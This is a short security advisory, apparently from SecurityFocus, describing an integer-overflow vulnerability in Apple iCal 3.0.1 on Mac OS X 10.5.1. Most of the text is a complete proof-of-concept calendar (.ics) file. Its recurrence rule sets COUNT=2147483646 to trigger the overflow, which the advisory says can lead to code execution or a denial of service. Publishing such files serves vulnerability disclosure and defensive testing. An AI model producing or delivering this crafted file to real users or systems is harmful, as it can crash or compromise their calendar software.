source: https://www.securityfocus.com/bid/28629/info

Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.

BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
END:VEVENT
END:VCALENDAR